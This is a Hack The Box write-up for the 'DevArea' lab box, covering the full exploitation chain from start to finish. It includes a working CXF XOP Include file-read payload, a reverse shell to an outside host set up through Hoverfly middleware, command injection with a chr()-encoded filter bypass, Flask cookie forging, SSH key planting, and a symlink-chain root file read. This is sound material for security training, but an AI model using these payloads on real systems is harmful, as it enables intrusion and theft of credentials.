Skip to content

HTB DevArea writeup

A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.

DevArea was a Linux / Medium box that combined several web services. An anonymous FTP share provided the JAR implementing a Java SOAP service. Abusing Apache CXF XOP/MTOM processing enabled an arbitrary file read, which exposed Hoverfly administrator credentials in its startup options. Command execution through Hoverfly middleware then yielded a shell as dev_ryan. For privilege escalation, an SSH tunnel provided access to the SysWatch administration interface. Command injection in the systemctl call made by service-status created a symlink chain under /opt/syswatch/logs. Finally, a flaw in the symlink check of syswatch.sh logs, which dev_ryan could run with sudo, allowed /root/root.txt to be read as root.

ItemValue
BoxDevArea
PlatformHack The Box
OSLinux
DifficultyMedium
anonymous FTP
-> /pub/employee-service.jar
-> Java SOAP service / Apache CXF / /employeeservice
-> XOP Include file read
-> /etc/systemd/system/hoverfly.service
-> Hoverfly admin:O7IJ27MyyXiU
-> Hoverfly middleware command execution
-> shell as dev_ryan
-> /etc/syswatch.env + syswatch-v1.zip
-> SSH tunnel to localhost:7777
-> SysWatch login as admin
-> service-status command injection
-> create /opt/syswatch/logs/root.txt -> /root/root.txt
-> create /opt/syswatch/logs/pwn.log -> root.txt
-> sudo /opt/syswatch/syswatch.sh logs pwn.log as root
-> read root flag

/etc/hosts:

10.129.244.208 devarea.htb

The nmap command used:

Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.244.208 > devarea.nmap

Key results:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://devarea.htb/
8080/tcp open http Jetty 9.4.27.v20200227
8500/tcp open http Golang net/http server
|_ This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open http Golang net/http server
|_http-title: Hoverfly Dashboard

Key observations:

  • Anonymous FTP login was enabled, making the contents of pub the first place to investigate.
  • Port 8080 ran Jetty, suggesting a Java/SOAP application.
  • Ports 8500 and 8888 matched a Hoverfly setup: 8888 hosted the management UI/API, while 8500 was the proxy.
  • Port 80 served a static Apache site; directory enumeration revealed no further attack surface.

Vhost fuzzing found no valid subdomains.

Terminal window
ffuf -u http://devarea.htb -H "Host: FUZZ.devarea.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
:: Progress: [19966/19966] :: Job [1/1] :: 214 req/sec :: Duration: [0:01:36] :: Errors: 0 ::

Feroxbuster on port 80 found only assets for the static site.

Terminal window
feroxbuster -u http://devarea.htb \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -d 1
200 GET 22211c http://devarea.htb/index
200 GET 22211c http://devarea.htb/index.html
301 GET http://devarea.htb/assets => http://devarea.htb/assets/

FTP allowed anonymous login.

Terminal window
ftp anonymous@devarea.htb
230 Login successful.
ftp> cd pub
ftp> ls -la
-rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar
ftp> get employee-service.jar
6445030 bytes received

This JAR implemented the Java service on port 8080.

Opening employee-service.jar in jadx-gui revealed a SOAP service in the htb.devarea package.

@WebService(name = "EmployeeService", targetNamespace = "http://devarea.htb/")
public interface EmployeeService {
String submitReport(Report report);
}

ServerStarter exposed /employeeservice on port 8080.

JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();

Check the WSDL.

Terminal window
curl -i http://devarea.htb:8080/employeeservice?wsdl
<wsdl:operation name="submitReport">
<wsdl:input message="tns:submitReport" name="submitReport"/>
<wsdl:output message="tns:submitReportResponse" name="submitReportResponse"/>
</wsdl:operation>
<soap:address location="http://devarea.htb:8080/employeeservice"/>

submitReport returned Report.content unchanged. If an external reference could be placed in content, the response would include the file contents it read.

My local notes identified this as CVE-2024-28752, but the actual payload for this box used href processing in an XOP:Include / MTOM request, so CVE-2022-46364 is the more appropriate classification. CVE-2024-28752 is an SSRF specific to Aegis DataBinding; the default databinding is reportedly unaffected.

body.txt:

--asdf
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <root>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ns2:submitReport xmlns:ns2="http://devarea.htb/">
<arg0>
<confidential>true</confidential>
<content><inc:Include href="file:///etc/systemd/system/hoverfly.service" xmlns:inc="http://www.w3.org/2004/08/xop/include"/></content>
<department>IT</department>
<employeeName>John Smith</employeeName>
</arg0>
</ns2:submitReport>
</soap:Body>
</soap:Envelope>
--asdf--

Send the request.

Terminal window
curl -X POST http://devarea.htb:8080/employeeservice \
-H 'Content-Type: multipart/related; type="application/xop+xml"; boundary="asdf"' \
--data-binary @body.txt

The return field in the response contained base64.

Content: W1VuaXRdCkRlc2NyaXB0aW9uPUhvdmVyRmx5IHNlcnZpY2UK...

Decoding it revealed the Hoverfly systemd unit.

Terminal window
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPUhvdmVyRmx5IHNlcnZpY2UK...' | base64 -d
[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

This established that:

  • Hoverfly ran as dev_ryan.
  • The Hoverfly management API credentials were admin:O7IJ27MyyXiU.

Reading /etc/passwd the same way showed that dev_ryan was the regular user with a login shell.

dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin

First, obtain a token.

Terminal window
curl -X POST 'http://devarea.htb:8888/api/token-auth' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
--data '{"username":"admin", "password": "O7IJ27MyyXiU"}'
{"token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9..."}

Configure a reverse shell in the middleware. Either a bearer token or Basic authentication worked.

Terminal window
curl -X PUT 'http://devarea.htb:8888/api/v2/hoverfly/middleware' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <token>' \
-d '{"binary": "bash", "script": "bash -i >& /dev/tcp/10.10.16.45/4444 0>&1"}'

On the listening side:

Terminal window
nc -lvnp 4444

Once connected, upgrade the TTY.

Terminal window
python3 -c 'import pty; pty.spawn("/bin/bash")'
dev_ryan@devarea:/opt/HoverFly$
Terminal window
ls -la ~
cat ~/user.txt
-rw-r----- 1 root dev_ryan 33 Jun 30 15:12 user.txt

Check sudo privileges.

Terminal window
sudo -l
User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh
web-stop, !/opt/syswatch/syswatch.sh web-restart

The syswatch.sh subcommands other than web-stop and web-restart could be run as root. ACLs prevented dev_ryan from reading /opt/syswatch.

Terminal window
ls -la /opt
ls -la /opt/syswatch
drwxr-xr-x+ 8 root root 4096 Mar 22 18:55 syswatch
ls: cannot open directory '/opt/syswatch': Permission denied

However, dev_ryan had syswatch-v1.zip in their home directory, which could be used to inspect the SysWatch web UI and the implementation of service-status.

-rw-r--r-- 1 root root 20260 Dec 14 2025 syswatch-v1.zip

Network enumeration showed port 7777 listening on localhost.

Terminal window
ss -ant
LISTEN 0 128 127.0.0.1:7777 0.0.0.0:*
LISTEN 0 4096 *:8888 *:*
LISTEN 0 4096 *:8500 *:*

A SysWatch timer also showed that root ran monitor.sh.

Terminal window
cat /etc/systemd/system/syswatch-monitor.service
[Unit]
Description=SysWatch Monitor Runner
[Service]
Type=oneshot
User=root
Group=root
EnvironmentFile=/etc/syswatch.env
ExecStart=/bin/bash /opt/syswatch/monitor.sh

/etc/syswatch.env was readable.

Terminal window
cat /etc/syswatch.env
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0

This file mattered for two reasons: SYSWATCH_ADMIN_PASSWORD could allow access to the web UI, and SYSWATCH_SECRET_KEY could be used to sign a Flask session if login failed.

The SysWatch web UI listened only on port 7777 of localhost, so forward the port over an SSH connection as dev_ryan.

Terminal window
ssh -i /tmp/devarea_key -L 7777:127.0.0.1:7777 -N -f dev_ryan@devarea.htb

Log in with the administrator password from /etc/syswatch.env and save the session in a cookie jar.

Terminal window
curl -i -c cookies.txt \
-X POST http://127.0.0.1:7777/login \
-d 'username=admin' \
-d 'password=SyswatchAdmin2026'
HTTP/1.1 302 FOUND
Set-Cookie: session=...
Location: /

For subsequent curl requests, specify the cookie directly. To extract it from cookies.txt into a variable, use:

Terminal window
SESSION=$(awk '$6 == "session" {print $7}' cookies.txt)

service-status accepted a service parameter and appended it to systemctl status with shell=True.

SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
def service_status():
service = request.form.get("service", "").strip()
if not service or not SAFE_SERVICE.match(service):
error = "Invalid service name"
else:
res = subprocess.run(
[f"systemctl status --no-pager {service}"],
shell=True, capture_output=True, text=True, timeout=10
)

The denylist blocked /, ;, &, ., <, >, uppercase letters, and other characters, but allowed |, spaces, quotes, +, (, and ). This made a command such as systemctl status --no-pager | whoami possible.

Terminal window
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \
-X POST --data-urlencode 'service=| whoami'
syswatch

The command ran as syswatch, the user running the web UI.

To read the root flag, use command injection as syswatch to create a two-link symlink chain under /opt/syswatch/logs, then run syswatch.sh logs through dev_ryan’s sudo privileges. syswatch.sh logs <file> ran as root.

The view_logs symlink handling extracted and checked only the first link target using ls -l | awk '{print $NF}'.

Terminal window
if [ -L "$path" ]; then
target=$(ls -l "$path" | awk '{print $NF}')
if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
echo "[Blocked unsafe symlink target]: $file -> $target"
return 1
fi
if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
local resolved="$LOG_DIR/$target"
if [ -f "$resolved" ]; then
cat "$resolved"
return
fi
fi
fi

The intended layout was:

/opt/syswatch/logs/pwn.log -> root.txt
/opt/syswatch/logs/root.txt -> /root/root.txt

The immediate target of pwn.log was root.txt, which contained no / and passed the check. The script then ran cat "$LOG_DIR/root.txt"; cat followed the second symlink and read /root/root.txt.

However, the service-status regex blocked / and ., so Python code could not be passed directly. Build a chr() concatenation expression locally to remove the blocked characters from the submitted value.

Payload to create the first symlink:

Terminal window
payload=$(python3 - <<'PY'
cmd = 'import os; os.symlink("/root/root.txt", "/opt/syswatch/logs/root.txt")'
print('+'.join(f'chr({ord(c)})' for c in cmd))
PY
)
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \
-X POST --data-urlencode "service=| python3 -c 'exec($payload)'"

Payload to create the second symlink:

Terminal window
payload=$(python3 - <<'PY'
cmd = 'import os; os.symlink("root.txt", "/opt/syswatch/logs/pwn.log")'
print('+'.join(f'chr({ord(c)})' for c in cmd))
PY
)
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \
-X POST --data-urlencode "service=| python3 -c 'exec($payload)'"

Finally, read logs with sudo from the dev_ryan shell.

Terminal window
sudo /opt/syswatch/syswatch.sh logs pwn.log
[REDACTED]

This achieved a root-privileged file read and retrieved the root flag. A root shell was unnecessary.

If login with the administrator password failed, an alternative was to sign a Flask session cookie using SYSWATCH_SECRET_KEY from /etc/syswatch.env. This changed only the way into the same web UI.

This alternative still required access to localhost:7777, so establish the SSH tunnel as dev_ryan as in the main path. Keep the private key at /tmp/devarea_key on the attacking machine, and append only its public key to /home/dev_ryan/.ssh/authorized_keys on the target. There was no need to place the private key on the target.

On the attacking machine:

Terminal window
ssh-keygen -t ed25519 -f /tmp/devarea_key -N ''
chmod 600 /tmp/devarea_key

In the dev_ryan shell:

Terminal window
mkdir -p ~/.ssh
echo '<contents of /tmp/devarea_key.pub>' >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Establish the tunnel from the attacking machine.

Terminal window
ssh -i /tmp/devarea_key -L 7777:127.0.0.1:7777 -N -f dev_ryan@devarea.htb
Terminal window
flask-unsign --sign \
--cookie '{"user_id": 1, "username": "admin"}' \
--secret f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0...

Use this value as the session cookie, then continue with the same POST requests to service-status as in the main path.

  • The site on port 80 looked polished, but its links and directory enumeration revealed no useful attack surface.
  • Vhost fuzzing also yielded nothing.
  • The service-status input filter blocked / and ., so an ordinary Python one-liner could not be passed directly. Using chr() concatenation reliably removed those characters from the submitted value.
  • If login with the administrator password failed, signing a Flask session cookie with SYSWATCH_SECRET_KEY provided another way in.
  • monitor.sh looked promising because root ran plugins regularly, but /opt/syswatch/plugins was owned by root and was not writable by syswatch.
  • LinPEAS listed possible kernel CVEs, but they were unnecessary for the intended solution to this box.

Items to remove or restore:

  • The reverse shell configured in Hoverfly middleware.
  • The SSH port forwarding process.
  • Temporary cookies such as cookies.txt and SESSION.
  • The /opt/syswatch/logs/pwn.log and /opt/syswatch/logs/root.txt symlinks.
Host: devarea.htb
IP: 10.129.244.208
User: dev_ryan
Hoverfly: admin / O7IJ27MyyXiU
SysWatch Flask secret: f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SysWatch env admin password: SyswatchAdmin2026
User flag path: /home/dev_ryan/user.txt
Root flag path: /root/root.txt

Required knowledge:

  • nmap, FTP, and web enumeration
  • Decompiling a Java JAR and reading SOAP/WSDL
  • Apache CXF XOP/MTOM SSRF / file read
  • The Hoverfly management API and middleware configuration
  • SSH port forwarding to a localhost-only web UI
  • shell metacharacter filter bypass
  • Reading files as root through a flawed symlink check

The key to this box was less the individual vulnerabilities than turning each file found into the credentials needed for the next step. Finding the WSDL endpoint in the JAR, reading the systemd unit through the file-read flaw, and extracting credentials from the startup options formed a reproducible sequence. Later, a localhost-only management UI, shell=True with a weak denylist, and a check limited to the first symlink combined to allow a root-privileged file read. Readable configuration files, localhost services, helper scripts that run with sudo, and symlink handling were the four things to check.